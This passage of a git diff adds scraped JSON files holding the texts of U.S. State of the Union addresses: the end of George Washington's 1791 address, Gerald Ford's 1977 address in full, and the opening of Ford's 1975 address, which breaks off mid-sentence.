+    "speech": "Fellow-Citizens of the Senate and House of Representatives:\"In vain may we expect peace with the Indians on our frontiers so long as a\nlawless set of unprincipled wretches can violate the rights of hospitality,\nor infringe the most solemn treaties, without receiving the punishment they\nso justly merit.\"I meet you upon the present occasion with the feelings which are naturally\ninspired by a strong impression of the prosperous situations of our common\ncountry, and by a persuasion equally strong that the labors of the session\nwhich has just commenced will, under the guidance of a spirit no less\nprudent than patriotic, issue in measures conducive to the stability and\nincrease of national prosperity.Numerous as are the providential blessings which demand our grateful\nacknowledgments, the abundance with which another year has again rewarded\nthe industry of the husbandman is too important to escape recollection.Your own observations in your respective situations will have satisfied you\nof the progressive state of agriculture, manufactures, commerce, and\nnavigation. In tracing their causes you will have remarked with particular\npleasure the happy effects of that revival of confidence, public as well as\nprivate, to which the Constitution and laws of the United States have so\neminently contributed; and you will have observed with no less interest new\nand decisive proofs of the increasing reputation and credit of the nation.\nBut you nevertheless can not fail to derive satisfaction from the\nconfirmation of these circumstances which will be disclosed in the several\nofficial communications that will be made to you in the course of your\ndeliberations.The rapid subscriptions to the Bank of the United States, which completed\nthe sum allowed to be subscribed in a single day, is among the striking and\npleasing evidences which present themselves, not only of confidence in the\nGovernment, but of resource in the community.In the interval of your recess due attention has been paid to the execution\nof the different objects which were specially provided for by the laws and\nresolutions of the last session.Among the most important of these is the defense and security of the\nwestern frontiers. To accomplish it on the most humane principles was a\nprimary wish.Accordingly, at the same time the treaties have been provisionally\nconcluded and other proper means used to attach the wavering and to confirm\nin their friendship the well-disposed tribes of Indians, effectual measures\nhave been adopted to make those of a hostile description sensible that a\npacification was desired upon terms of moderation and justice.Those measures having proved unsuccessful, it became necessary to convince\nthe refractory of the power of the United States to punish their\ndepredations. Offensive operations have therefore been directed, to be\nconducted, however, as consistently as possible with the dictates of\nhumanity.Some of these have been crowned with full success and others are yet\ndepending. The expeditions which have been completed were carried on under\nthe authority and at the expense of the United States by the militia of\nKentucky, whose enterprise, intrepidity, and good conduct are entitled of\npeculiar commendation.Overtures of peace are still continued to the deluded tribes, and\nconsiderable numbers of individuals belonging to them have lately renounced\nall further opposition, removed from their former situations, and placed\nthemselves under the immediate protection of the United States.It is sincerely to be desired that all need of coercion in future may cease\nand that an intimate intercourse may succeed, calculated to advance the\nhappiness of the Indians and to attach them firmly to the United States.In order to this it seems necessary--That they should experience the\nbenefits of an impartial dispensation of justice. That the mode of\nalienating their lands, the main source of discontent and war, should be so\ndefined and regulated as to obviate imposition and as far as may be\npracticable controversy concerning the reality and extent of the\nalienations which are made. That commerce with them should be promoted\nunder regulations tending to secure an equitable deportment toward them,\nand that such rational experiments should be made for imparting to them the\nblessings of civilization as may from time to time suit their condition.\nThat the Executive of the United States should be enabled to employ the\nmeans to which the Indians have been long accustomed for uniting their\nimmediate interests with the preservation of peace. And that efficacious\nprovision should be made for inflicting adequate penalties upon all those\nwho, by violating their rights, shall infringe the treaties and endanger\nthe peace of the Union. A system corresponding with the mild principles of\nreligion and philanthropy toward an unenlightened race of men, whose\nhappiness materially depends on the conduct of the United States, would be\nas honorable to the national character as conformable to the dictates of\nsound policy.The powers specially vested in me by the act laying certain duties on\ndistilled spirits, which respect the subdivisions of the districts into\nsurveys, the appointment of officers, and the assignment of compensations,\nhave likewise been carried into effect. In a manner in which both materials\nand experience were wanting to guide the calculation it will be readily\nconceived that there must have been difficulty in such an adjustment of the\nrates of compensation as would conciliate a reasonable competency with a\nproper regard to the limits prescribed by the law. It is hoped that the\ncircumspection which has been used will be found in the result to have\nsecured the last of the two objects; but it is probable that with a view\nto the first in some instances a revision of the provision will be found\nadvisable.The impressions with which this law has been received by the community have\nbeen upon the whole such as were to be expected among enlightened and\nwell-disposed citizens from the propriety and necessity of the measure. The\nnovelty, however, of the tax in a considerable part of the United States\nand a misconception of some of its provisions have given occasion in\nparticular places to some degree of discontent; but it is satisfactory to\nknow that this disposition yields to proper explanations and more just\napprehensions of the true nature of the law, and I entertain a full\nconfidence that it will in all give way to motives which arise out of a\njust sense of duty and a virtuous regard to the public welfare.If there are any circumstances in the law which consistently with its main\ndesign may be so varied as to remove any well-intentioned objections that\nmay happen to exist, it will consist with a wise moderation to make the\nproper variations. It is desirable on all occasions to unite with a steady\nand firm adherence to constitutional and necessary acts of Government the\nfullest evidence of a disposition as far as may be practicable to consult\nthe wishes of every part of the community and to lay the foundations of the\npublic administration in the affections of the people.Pursuant to the authority contained in the several acts on that subject, a\ndistrict of 10 miles square for the permanent seat of the Government of the\nUnited States has been fixed and announced by proclamation, which district\nwill comprehend lands on both sides of the river Potomac and the towns of\nAlexandria and Georgetown. A city has also been laid out agreeably to a\nplan which will be placed before Congress, and as there is a prospect,\nfavored by the rate of sales which have already taken place, of ample funds\nfor carrying on the necessary public buildings, there is every expectation\nof their due progress.The completion of the census of the inhabitants, for which provision was\nmade by law, has been duly notified (excepting one instance in which the\nreturn has been informal, and another in which it has been omitted or\nmiscarried), and the returns of the officers who were charged with this\nduty, which will be laid before you, will give you the pleasing assurance\nthat the present population of the United States borders on 4,000,000\npersons.It is proper also to inform you that a further loan of 2,500,000 florins\nhas been completed in Holland, the terms of which are similar to those of\nthe one last announced, except as to a small reduction of charges. Another,\non like terms, for 6,000,000 florins, had been set on foot under\ncircumstances that assured an immediate completion.Gentlemen of the Senate:Two treaties which have been provisionally concluded with the Cherokees and\nSix Nations of Indians will be laid before you for your consideration and\nratification.Gentlemen of the House of Representatives:In entering upon the discharge of your legislative trust you must\nanticipate with pleasure that many of the difficulties necessarily incident\nto the first arrangements of a new government for an extensive country have\nbeen happily surmounted by the zealous and judicious exertions of your\npredecessors in cooperation with the other branch of the Legislature. The\nimportant objects which remain to be accomplished will, I am persuaded, be\nconducted upon principles equally comprehensive and equally well calculated\nof the advancement of the general weal.The time limited for receiving subscriptions to the loans proposed by the\nact making provision for the debt of the United States having expired,\nstatements from the proper department will as soon as possible apprise you\nof the exact result. Enough, however, is known already to afford an\nassurance that the views of that act have been substantially fulfilled. The\nsubscription in the domestic debt of the United States has embraced by far\nthe greatest proportion of that debt, affording at the same time proof of\nthe general satisfaction of the public creditors with the system which has\nbeen proposed to their acceptance and of the spirit of accommodation to the\nconvenience of the Government with which they are actuated. The\nsubscriptions in the debts of the respective States as far as the\nprovisions of the law have permitted may be said to be yet more general.\nThe part of the debt of the United States which remains unsubscribed will\nnaturally engage your further deliberations.It is particularly pleasing to me to be able to announce to you that the\nrevenues which have been established promise to be adequate to their\nobjects, and may be permitted, if no unforeseen exigency occurs, to\nsupersede for the present the necessity of any new burthens upon our\nconstituents.An object which will claim your early attention is a provision for the\ncurrent service of the ensuing year, together with such ascertained demands\nupon the Treasury as require to be immediately discharged, and such\ncasualties as may have arisen in the execution of the public business, for\nwhich no specific appropriation may have yet been made; of all which a\nproper estimate will be laid before you.Gentlemen of the Senate and of the House of Representatives:I shall content myself with a general reference to former communications\nfor several objects upon which the urgency of other affairs has hitherto\npostponed any definitive resolution. Their importance will recall them to\nyour attention, and I trust that the progress already made in the most\narduous arrangements of the Government will afford you leisure to resume\nthem to advantage.These are, however, some of them of which I can not forbear a more\nparticular mention. These are the militia, the post office and post roads,\nthe mint, weights and measures, a provision for the sale of the vacant\nlands of the United States.The first is certainly an object of primary importance whether viewed in\nreference to the national security to the satisfaction of the community or\nto the preservation of order. In connection with this the establishment of\ncompetent magazines and arsenals and the fortification of such places as\nare peculiarly important and vulnerable naturally present themselves to\nconsideration. The safety of the United States under divine protection\nought to rest on the basis of systematic and solid arrangements, exposed as\nlittle as possible to the hazards of fortuitous circumstances.The importance of the post office and post roads on a plan sufficiently\nliberal and comprehensive, as they respect the expedition, safety, and\nfacility of communication, is increased by their instrumentality in\ndiffusing a knowledge of the laws and proceedings of the Government, which,\nwhile it contributes to the security of the people, serves also to guard\nthem against the effects of misrepresentation and misconception. The\nestablishment of additional cross posts, especially to some of the\nimportant points in the Western and Northern parts of the Union, can not\nfail to be of material utility.The disorders in the existing currency, and especially the scarcity of\nsmall change, a scarcity so peculiarly distressing to the poorer classes,\nstrongly recommend the carrying into immediate effect the resolution\nalready entered into concerning the establishment of a mint. Measures have\nbeen taken pursuant to that resolution for procuring some of the most\nnecessary artists, together with the requisite apparatus.An uniformity in the weights and measures of the country is among the\nimportant objects submitted to you by the Constitution, and if it can be\nderived from a standard at once invariable and universal, must be no less\nhonorable to the public councils than conducive to the public convenience.A provision for the sale of the vacant lands of the United States is\nparticularly urged, among other reasons, by the important considerations\nthat they are pledged as a fund for reimbursing the public debt; that if\ntimely and judiciously applied they may save the necessity of burthening\nour citizens with new taxes for the extinguishment of the principal; and\nthat being free to discharge the principal but in a limited proportion, no\nopportunity ought to be lost for availing the public of its right.GO. WASHINGTON", 
+    "name": "George Washington"
+}
\ No newline at end of file
diff --git a/pyscrapper/stateofunion/ScrapedData/Gerald R. FordJanuary 12, 1977.json b/pyscrapper/stateofunion/ScrapedData/Gerald R. FordJanuary 12, 1977.json
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+{
+    "date": "January 12, 1977", 
+    "speech": "Mr. Speaker, Mr. Vice President, Members of the 95th Congress, and\ndistinguished guests:In accordance with the Constitution, I come before you once again to report\non the state of the Union.This report will be my last--maybe--[laughter]--but for the Union it is\nonly the first of such reports in our third century of independence, the\nclose of which none of us will ever see. We can be confident, however, that\n100 years from now a freely elected President will come before a freely\nelected Congress chosen to renew our great Republic's pledge to the\nGovernment of the people, by the people, and for the people.For my part I pray the third century we are beginning will bring to all\nAmericans, our children and their children's children, a greater measure of\nindividual equality, opportunity, and justice, a greater abundance of\nspiritual and material blessings, and a higher quality of life, liberty,\nand the pursuit of happiness.The state of the Union is a measurement of the many elements of which it is\ncomposed--a political union of diverse States, an economic union of varying\ninterests, an intellectual union of common convictions, and a moral union\nof immutable ideals.Taken in sum, I can report that the state of the Union is good. There is\nroom for improvement, as always, but today we have a more perfect Union\nthan when my stewardship began.As a people we discovered that our Bicentennial was much more than a\ncelebration of the past; it became a joyous reaffirmation of all that it\nmeans to be Americans, a confirmation before all the world of the vitality\nand durability of our free institutions. I am proud to have been privileged\nto preside over the affairs of our Federal Government during these eventful\nyears when we proved, as I said in my first words upon assuming office,\nthat \"our Constitution works; our great Republic is a Government of laws\nand not of men. Here the people rule.\"The people have spoken; they have chosen a new President and a new Congress\nto work their will. I congratulate you--particularly the new Members--as\nsincerely as I did President-elect Carter. In a few days it will be his\nduty to outline for you his priorities and legislative recommendations.\nTonight I will not infringe on that responsibility, but rather wish him the\nvery best in all that is good for our country.During the period of my own service in this Capitol and in the White House,\nI can recall many orderly transitions of governmental responsibility--of\nproblems as well as of position, of burdens as well as of power. The genius\nof the American system is that we do this so naturally and so normally.\nThere are no soldiers marching in the street except in the Inaugural\nParade; no public demonstrations except for some of the dancers at the\nInaugural Ball; the opposition party doesn't go underground, but goes on\nfunctioning vigorously in the Congress and in the country; and our vigilant\npress goes right on probing and publishing our faults and our follies,\nconfirming the wisdom of the framers of the first amendment.Because of the transfer of authority in our form of government affects the\nstate of the Union and of the world, I am happy to report to you that the\ncurrent transition is proceeding very well. I was determined that it\nshould; I wanted the new President to get off on an easier start than I\nhad.When I became President on August 9, 1974, our Nation was deeply divided\nand tormented. In rapid succession the Vice President and the President had\nresigned in disgrace. We were still struggling with the after-effects of a\nlong, unpopular, and bloody war in Southeast Asia. The economy was unstable\nand racing toward the worst recession in 40 years. People were losing jobs.\nThe cost of living was soaring. The Congress and the Chief Executive were\nat loggerheads. The integrity of our constitutional process and other\ninstitutions was being questioned. For more than 15 years domestic spending\nhad soared as Federal programs multiplied, and the expense escalated\nannually. During the same period our national security needs were steadily\nshortchanged. In the grave situation which prevailed in August 1974, our\nwill to maintain our international leadership was in doubt.I asked for your prayers and went to work.In January 1975 I reported to the Congress that the state of the Union was\nnot good. I proposed urgent action to improve the economy and to achieve\nenergy independence in 10 years. I reassured America's allies and sought to\nreduce the danger of confrontation with potential adversaries. I pledged a\nnew direction for America. 1975 was a year of difficult decisions, but\nAmericans responded with realism, common sense, and self-discipline.By January 1976 we were headed in a new direction, which I hold to be the\nright direction for a free society. It was guided by the belief that\nsuccessful problem-solving requires more than Federal action alone, that it\ninvolves a full partnership among all branches and all levels of government\nand public policies which nurture and promote the creative energies of\nprivate enterprises, institutions, and individual citizens.A year ago I reported that the state of the Union was better--in many ways\na lot better--but still not good enough. Common sense told me to stick to\nthe steady course we were on, to continue to restrain the inflationary\ngrowth of government, to reduce taxes as well as spending, to return local\ndecisions to local officials, to provide for long-range sufficiency in\nenergy and national security needs. I resisted the immense pressures of an\nelection year to open the floodgates of Federal money and the temptation to\npromise more than I could deliver. I told it as it was to the American\npeople and demonstrated to the world that in our spirited political\ncompetition, as in this chamber, Americans can disagree without being\ndisagreeable.Now, after 30 months as your President, I can say that while we still have\na way to go, I am proud of the long way we have come together.I am proud of the part I have had in rebuilding confidence in the\nPresidency, confidence in our free system, and confidence in our future.\nOnce again, Americans believe in themselves, in their leaders, and in the\npromise that tomorrow holds for their children.I am proud that today America is at peace. None of our sons are fighting\nand dying in battle anywhere in the world. And the chance for peace among\nall nations is improved by our determination to honor our vital commitments\nin defense of peace and freedom.I am proud that the United States has strong defenses, strong alliances,\nand a sound and courageous foreign policy.Our alliances with major partners, the great industrial democracies of\nWestern Europe, Japan, and Canada, have never been more solid.\nConsultations on mutual security, defense, and East-West relations have\ngrown closer. Collaboration has branched out into new fields such as\nenergy, economic policy, and relations with the Third World. We have used\nmany avenues for cooperation, including summit meetings held among major\nallied countries. The friendship of the democracies is deeper, warmer, and\nmore effective than at any time in 30 years.We are maintaining stability in the strategic nuclear balance and pushing\nback the specter of nuclear war. A decisive step forward was taken\nin the Vladivostok Accord which I negotiated with General Secretary\nBrezhnev--joint recognition that an equal ceiling should be placed\non the number of strategic weapons on each side. With resolve and wisdom\non the part of both nations, a good agreement is well within reach\nthis year.The framework for peace in the Middle East has been built. Hopes for future\nprogress in the Middle East were stirred by the historic agreements we\nreached and the trust and confidence that we formed. Thanks to American\nleadership, the prospects for peace in the Middle East are brighter than\nthey have been in three decades. The Arab states and Israel continue to\nlook to us to lead them from confrontation and war to a new era of\naccommodation and peace. We have no alternative but to persevere, and I am\nsure we will. The opportunities for a final settlement are great, and the\nprice of failure is a return to the bloodshed and hatred that for too long\nhave brought tragedy to all of the peoples of this area and repeatedly\nedged the world to the brink of war.Our relationship with the People's Republic of China is proving its\nimportance and its durability. We are finding more and more common ground\nbetween our two countries on basic questions of international affairs.In my two trips to Asia as President, we have reaffirmed America's\ncontinuing vital interest in the peace and security of Asia and the Pacific\nBasin, established a new partnership with Japan, confirmed our dedication\nto the security of Korea, and reinforced our ties with the free nations of\nSoutheast Asia.An historic dialog has begun between industrial nations and developing\nnations. Most proposals on the table are the initiatives of the United\nStates, including those on food, energy, technology, trade, investment, and\ncommodities. We are well launched on this process of shaping positive and\nreliable economic relations between rich nations and poor nations over the\nlong term.We have made progress in trade negotiations and avoided protectionism\nduring recession. We strengthened the international monetary system. During\nthe past 2 years the free world's most important economic powers have\nalready brought about important changes that serve both developed and\ndeveloping economies. The momentum already achieved must be nurtured and\nstrengthened, for the prosperity of the rich and poor depends upon it.In Latin America, our relations have taken on a new maturity and a sense of\ncommon enterprise.In Africa the quest for peace, racial justice, and economic progress is at\na crucial point. The United States, in close cooperation with the United\nKingdom, is actively engaged in this historic process. Will change come\nabout by warfare and chaos and foreign intervention? Or will it come about\nby negotiated and fair solutions, ensuring majority rule, minority rights,\nand economic advance? America is committed to the side of peace and justice\nand to the principle that Africa should shape its own future, free of\noutside intervention.American leadership has helped to stimulate new international efforts to\nstem the proliferation of nuclear weapons and to shape a comprehensive\ntreaty governing the use of oceans.I am gratified by these accomplishments. They constitute a record of broad\nsuccess for America and for the peace and prosperity of all mankind. This\nadministration leaves to its successor a world in better condition than we\nfound. We leave, as well, a solid foundation for progress on a range of\nissues that are vital to the well-being of America.What has been achieved in the field of foreign affairs and what can be\naccomplished by the new administration demonstrate the genius of Americans\nworking together for the common good. It is this, our remarkable ability to\nwork together, that has made us a unique nation. It is Congress, the\nPresident, and the people striving for a better world.I know all patriotic Americans want this Nation's foreign policy to\nsucceed. I urge members of my party in this Congress to give the new\nPresident loyal support in this area. I express the hope that this new\nCongress will reexamine its constitutional role in international affairs.The exclusive right to declare war, the duty to advise and consent on the\npart of the Senate, the power of the purse on the part of the House are\nample authority for the legislative branch and should be jealously guarded.\nBut because we may have been too careless of these powers in the past does\nnot justify congressional intrusion into, or obstruction of, the proper\nexercise of Presidential responsibilities now or in the future. There can\nbe only one Commander in Chief. In these times crises cannot be managed and\nwars cannot be waged by committee, nor can peace be pursued solely by\nparliamentary debate. To the ears of the world, the President speaks for\nthe Nation. While he is, of course, ultimately accountable to the Congress,\nthe courts, and the people, he and his emissaries must not be handicapped\nin advance in their relations with foreign governments as has sometimes\nhappened in the past.At home I am encouraged by the Nation's recovery from the recession and our\nsteady return to sound economic growth. It is now continuing after the\nrecent period of uncertainty, which is part of the price we pay for free\nelections.Our most pressing need today and the future is more jobs--productive,\npermanent jobs created by a thriving economy. We must revise our tax system\nboth to ease the burden of heavy taxation and to encourage the investment\nnecessary for the creation of productive jobs for all Americans who want to\nwork.Earlier this month I proposed a permanent income tax reduction of $10\nbillion below current levels, including raising the personal exemption from\n$750 to $1,000. I also recommended a series of measures to stimulate\ninvestment, such as accelerated depreciation for new plants and equipment\nin areas of high unemployment, a reduction in the corporate tax rate from\n48 to 46 percent, and eliminating the present double taxation of dividends.\nI strongly urge the Congress to pass these measures to help create the\nproductive, permanent jobs in the private economy that are so essential for\nour future.All the basic trends are good; we are not on the brink of another recession\nor economic disaster. If we follow prudent policies that encourage\nproductive investment and discourage destructive inflation, we will come\nout on top, and I am sure we will.We have successfully cut inflation by more than half. When I took office,\nthe Consumer Price Index was rising at 12.2 percent a year. During 1976 the\nrate of inflation was 5 percent.We have created more jobs--over 4 million more jobs today than in the\nspring of 1975. Throughout this Nation today we have over 88 million people\nin useful, productive jobs--more than at any other time in our Nation's\nhistory. But there are still too many Americans unemployed. This is the\ngreatest regret that I have as I leave office.We brought about with the Congress, after much delay, the renewal of the\ngeneral revenue sharing. We expanded community development and Federal\nmanpower programs. We began a significant urban mass transit program.\nFederal programs today provide more funds for our States and local\ngovernments than ever before--$70 billion for the current fiscal year.\nThrough these programs and others that provide aid directly to individuals,\nwe have kept faith with our tradition of compassionate help for those who\nneed it. As we begin our third century we can be proud of the progress that\nwe have made in meeting human needs for all of our citizens.We have cut the growth of crime by nearly 90 percent. Two years ago crime\nwas increasing at the rate of 18 percent annually. In the first three\nquarters of 1976, that growth rate had been cut to 2 percent. But crime,\nand the fear of crime, remains one of the most serious problems facing our\ncitizens.We have had some successes, and there have been some disappointments.\nBluntly, I must remind you that we have not made satisfactory progress\ntoward achieving energy independence. Energy is absolutely vital to the\ndefense of our country, to the strength of our economy, and to the quality\nof our lives.Two years ago I proposed to the Congress the first comprehensive national\nenergy program--a specific and coordinated set of measures that would end\nour vulnerability to embargo, blockade, or arbitrary price increases and\nwould mobilize U.S. technology and resources to supply a significant share\nof the free world's energy after 1985. Of the major energy proposals I\nsubmitted 2 years ago, only half, belatedly, became law. In 1973 we were\ndependent upon foreign oil imports for 36 percent of our needs. Today, we\nare 40-percent dependent, and we'll pay out $34 billion for foreign oil\nthis year. Such vulnerability at present or in the future is intolerable\nand must be ended.The answer to where we stand on our national energy effort today reminds me\nof the old argument about whether the tank is half full or half empty. The\npessimist will say we have half failed to achieve our 10-year energy goals;\nthe optimist will say that we have half succeeded. I am always an optimist,\nbut we must make up for lost time.We have laid a solid foundation for completing the enormous task which\nconfronts us. I have signed into law five major energy bills which contain\nsignificant measures for conservation, resource development, stockpiling,\nand standby authorities. We have moved forward to develop the naval\npetroleum reserves; to build a 500-million barrel strategic petroleum\nstockpile; to phase out unnecessary Government allocation and price\ncontrols; to develop a lasting relationship with other oil consuming\nnations; to improve the efficiency of energy use through conservation in\nautomobiles, buildings, and industry; and to expand research on new\ntechnology and renewable resources such as wind power, geothermal and solar\nenergy. All these actions, significant as they are for the long term, are\nonly the beginning.I recently submitted to the Congress my proposals to reorganize the Federal\nenergy structure and the hard choices which remain if we are serious about\nreducing our dependence upon foreign energy. These include programs to\nreverse our declining production of natural gas and increase incentives for\ndomestic crude oil production. I proposed to minimize environmental\nuncertainties affecting coal development, expand nuclear power generation,\nand create an energy independence authority to provide government financial\nassistance for vital energy programs where private capital is not\navailable.We must explore every reasonable prospect for meeting our energy needs when\nour current domestic reserves of oil and natural gas begin to dwindle in\nthe next decade. I urgently ask Congress and the new administration to move\nquickly on these issues. This Nation has the resources and the capability\nto achieve our energy goals if its Government has the will to proceed, and\nI think we do.I have been disappointed by inability to complete many of the meaningful\norganizational reforms which I contemplated for the Federal Government,\nalthough a start has been made. For example, the Federal judicial system\nhas long served as a model for other courts. But today it is threatened by\na shortage of qualified Federal judges and an explosion of litigation\nclaiming Federal jurisdiction. I commend to the new administration and the\nCongress the recent report and recommendations of the Department of\nJustice, undertaken at my request, on \"the needs of the Federal Courts.\" I\nespecially endorse its proposals for a new commission on the judicial\nappointment process.While the judicial branch of our Government may require reinforcement, the\nbudgets and payrolls of the other branches remain staggering. I cannot help\nbut observe that while the White House staff and the Executive Office of\nthe President have been reduced and the total number of civilians in the\nexecutive branch contained during the 1970's, the legislative branch has\nincreased substantially although the membership of the Congress remains at\n535. Congress now costs the taxpayers more than a million dollars per\nMember; the whole legislative budget has passed the billion dollar mark.We have made some progress in cutting back the expansion of government and\nits intrusion into individual lives, but believe me, there is much more to\nbe done--and you and I know it. It can only be done by tough and\ntemporarily painful surgery by a Congress as prepared as the President to\nface up to this very real political problem. Again, I wish my successor,\nworking with a substantial majority of his own party, the best of success\nin reforming the costly and cumbersome machinery of the Federal\nGovernment.The task of self-government is never finished. The problems are great; the\nopportunities are greater.America's first goal is and always will be peace with honor. America must\nremain first in keeping peace in the world. We can remain first in peace\nonly if we are never second in defense.In presenting the state of the Union to the Congress and to the American\npeople, I have a special obligation as Commander in Chief to report on our\nnational defense. Our survival as a free and independent people requires,\nabove all, strong military forces that are well equipped and highly trained\nto perform their assigned mission.I am particularly gratified to report that over the past 2 1/2 years, we\nhave been able to reverse the dangerous decline of the previous decade in\nreal resources this country was devoting to national defense. This was an\nimmediate problem I faced in 1974. The evidence was unmistakable that the\nSoviet Union had been steadily increasing the resources it applied to\nbuilding its military strength. During this same period the United States\nreal defense spending declined. In my three budgets we not only arrested\nthat dangerous decline, but we have established the positive trend which is\nessential to our ability to contribute to peace and stability in the\nworld.The Vietnam war, both materially and psychologically, affected our overall\ndefense posture. The dangerous anti-military sentiment discouraged defense\nspending and unfairly disparaged the men and women who serve in our Armed\nForces.The challenge that now confronts this country is whether we have the\nnational will and determination to continue this essential defense effort\nover the long term, as it must be continued. We can no longer afford to\noscillate from year to year in so vital a matter; indeed, we have a duty to\nlook beyond the immediate question of budgets and to examine the nature of\nthe problem we will face over the next generation.I am the first recent President able to address long-term, basic issues\nwithout the burden of Vietnam. The war in Indochina consumed enormous\nresources at the very time that the overwhelming strategic superiority we\nonce enjoyed was disappearing. In past years, as a result of decisions by\nthe United States, our strategic forces leveled off, yet the Soviet Union\ncontinued a steady, constant buildup of its own forces, committing a high\npercentage of its national economic effort to defense.The United States can never tolerate a shift in strategic balance against\nus or even a situation where the American people or our allies believe the\nbalance is shifting against us. The United States would risk the most\nserious political consequences if the world came to believe that our\nadversaries have a decisive margin of superiority.To maintain a strategic balance we must look ahead to the 1980's and\nbeyond. The sophistication of modern weapons requires that we make\ndecisions now if we are to ensure our security 10 years from now.\nTherefore, I have consistently advocated and strongly urged that we pursue\nthree critical strategic programs: the Trident missile launching submarine;\nthe B-1 bomber, with its superior capability to penetrate modern air\ndefenses; and a more advanced intercontinental ballistic missile that will\nbe better able to survive nuclear attack and deliver a devastating\nretaliatory strike.In an era where the strategic nuclear forces are in rough equilibrium, the\nrisks of conflict below the nuclear threshold may grow more perilous. A\nmajor, long-term objective, therefore, is to maintain capabilities to deal\nwith, and thereby deter, conventional challenges and crises, particularly\nin Europe.We cannot rely solely on strategic forces to guarantee our security or to\ndeter all types of aggression. We must have superior naval and marine\nforces to maintain freedom of the seas, strong multipurpose tactical air\nforces, and mobile, modern ground forces. Accordingly, I have directed a\nlong-term effort to improve our worldwide capabilities to deal with\nregional crises.I have submitted a 5-year naval building program indispensable to the\nNation's maritime strategy. Because the security of Europe and the\nintegrity of NATO remain the cornerstone of American defense policy, I have\ninitiated a special, long-term program to ensure the capacity of the\nAlliance to deter or defeat aggression in Europe.As I leave office I can report that our national defense is effectively\ndeterring conflict today. Our Armed Forces are capable of carrying out the\nvariety of missions assigned to them. Programs are underway which will\nassure we can deter war in the years ahead. But I also must warn that it\nwill require a sustained effort over a period of years to maintain these\ncapabilities. We must have the wisdom, the stamina, and the courage to\nprepare today for the perils of tomorrow, and I believe we will.As I look to the future--and I assure you I intend to go on doing that for\na good many years--I can say with confidence that the state of the Union is\ngood, but we must go on making it better and better.This gathering symbolizes the constitutional foundation which makes\ncontinued progress possible, synchronizing the skills of three independent\nbranches of Government, reserving fundamental sovereignty to the people of\nthis great land. It is only as the temporary representatives and servants\nof the people that we meet here, we bring no hereditary status or gift of\ninfallibility, and none follows us from this place.Like President Washington, like the more fortunate of his successors, I\nlook forward to the status of private citizen with gladness and gratitude.\nTo me, being a citizen of the United States of America is the greatest\nhonor and privilege in this world.From the opportunities which fate and my fellow citizens have given me, as\na Member of the House, as Vice President and President of the Senate, and\nas President of all the people, I have come to understand and place the\nhighest value on the checks and balances which our founders imposed on\ngovernment through the separation of powers among co-equal legislative,\nexecutive, and judicial branches. This often results in difficulty and\ndelay, as I well know, but it also places supreme authority under God,\nbeyond any one person, any one branch, any majority great or small, or any\none party. The Constitution is the bedrock of all our freedoms. Guard and\ncherish it, keep honor and order in your own house, and the Republic will\nendure.It is not easy to end these remarks. In this Chamber, along with some of\nyou, I have experienced many, many of the highlights of my life. It was\nhere that I stood 28 years ago with my freshman colleagues, as Speaker Sam\nRayburn administered the oath. I see some of you now--Charlie Bennett, Dick\nBolling, Carl Perkins, Pete Rodino, Harley Staggers, Tom Steed, Sid Yates,\nClem Zablocki-and I remember those who have gone to their rest. It was here\nwe waged many, many a lively battle--won some, lost some, but always\nremaining friends. It was here, surrounded by such friends, that the\ndistinguished Chief Justice swore me in as Vice President on December 6,\n1973. It was here I returned 8 months later as your President to ask not\nfor a honeymoon, but for a good marriage.I will always treasure those memories and your many, many kindnesses. I\nthank you for them all.My fellow Americans, I once asked you for your prayers, and now I give you\nmine: May God guide this wonderful country, its people, and those they have\nchosen to lead them. May our third century be illuminated by liberty and\nblessed with brotherhood, so that we and all who come after us may be the\nhumble servants of thy peace. Amen.Good night. God bless you.", 
+    "name": "Gerald R. Ford"
+}
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+{
+    "date": "January 15, 1975", 
+    "speech": "Mr. Speaker, Mr. Vice President, Members of the 94th Congress, and\ndistinguished guests:Twenty-six years ago, a freshman Congressman, a young fellow with lots of\nidealism who was out to change the world, stood before Sam Rayburn in the\nwell of the House and solemnly swore to the same oath that all of you took\nyesterday--an unforgettable experience, and I congratulate you all.Two days later, that same freshman stood at the back of this great\nChamber--over there someplace--as President Truman, all charged up by his\nsingle-handed election victory, reported as the Constitution requires on\nthe state of the Union.When the bipartisan applause stopped, President Truman said, \"I am happy to\nreport to this 81st Congress that the state of the Union is good. Our\nNation is better able than ever before to meet the needs of the American\npeople, and to give them their fair chance in the pursuit of happiness.\n[It] is foremost among the nations of the world in the search for peace.\"Today, that freshman Member from Michigan stands where Mr. Truman\nstood, and I must say to you that the state of the Union is not good:Millions of Americans are out of work.Recession and inflation are eroding the money of millions more.Prices are too high, and sales are too slow.This year's Federal deficit will be about $30 billion; next year's probably\n$45 billion.The national debt will rise to over $500 billion.Our plant capacity and productivity are not increasing fast enough.We depend on others for essential energy.Some people question their Government's ability to make hard decisions and\nstick with them; they expect Washington politics as usual.Yet, what President Truman said on January 5, 1949, is even more true in\n1975. We are better able to meet our people's needs. All Americans do have\na fairer chance to pursue happiness. Not only are we still the foremost\nnation in the pursuit of peace but today's prospects of attaining it are\ninfinitely brighter.There were 59 million Americans employed at the start of 1949; now there\nare more than 85 million Americans who have jobs. In comparable dollars,\nthe average income of the American family has doubled during the past 26\nyears.Now, I want to speak very bluntly. I've got bad news, and I don't expect\nmuch, if any, applause. The American people want action, and it will take\nboth the Congress and the President to give them what they want. Progress\nand solutions can be achieved, and they will be achieved.My message today is not intended to address all of the complex needs of\nAmerica. I will send separate messages making specific recommendations for\ndomestic legislation, such as the extension of general revenue sharing and\nthe Voting Rights Act.The moment has come to move in a new direction. We can do this by\nfashioning a new partnership between the Congress on the one hand, the\nWhite House on the other, and the people we both represent.Let us mobilize the most powerful and most creative industrial nation that\never existed on this Earth to put all our people to work. The emphasis on\nour economic efforts must now shift from inflation to jobs.To bolster business and industry and to create new jobs, I propose a 1-year\ntax reduction of $16 billion. Three-quarters would go to individuals and\none-quarter to promote business investment.This cash rebate to individuals amounts to 12 percent of 1974 tax\npayments--a total cut of $12 billion, with a maximum of $1,000 per return.I call on the Congress to act by April 1. If you do--and I hope you\nwill--the Treasury can send the first check for half of the rebate in May\nand the second by September.The other one-fourth of the cut, about $4 billion, will go to business,\nincluding farms, to promote expansion and to create more jobs. The 1-year\nreduction for businesses would be in the form of a liberalized investment\ntax credit increasing the rate to 12 percent for all businesses.This tax cut does not include the more fundamental reforms needed in our\ntax system. But it points us in the right direction--allowing taxpayers\nrather than the Government to spend their pay.Cutting taxes now is essential if we are to turn the economy around. A tax\ncut offers the best hope of creating more jobs. Unfortunately, it will\nincrease the size of the budget deficit. Therefore, it is more important\nthan ever that we take steps to control the growth of Federal\nexpenditures.Part of our 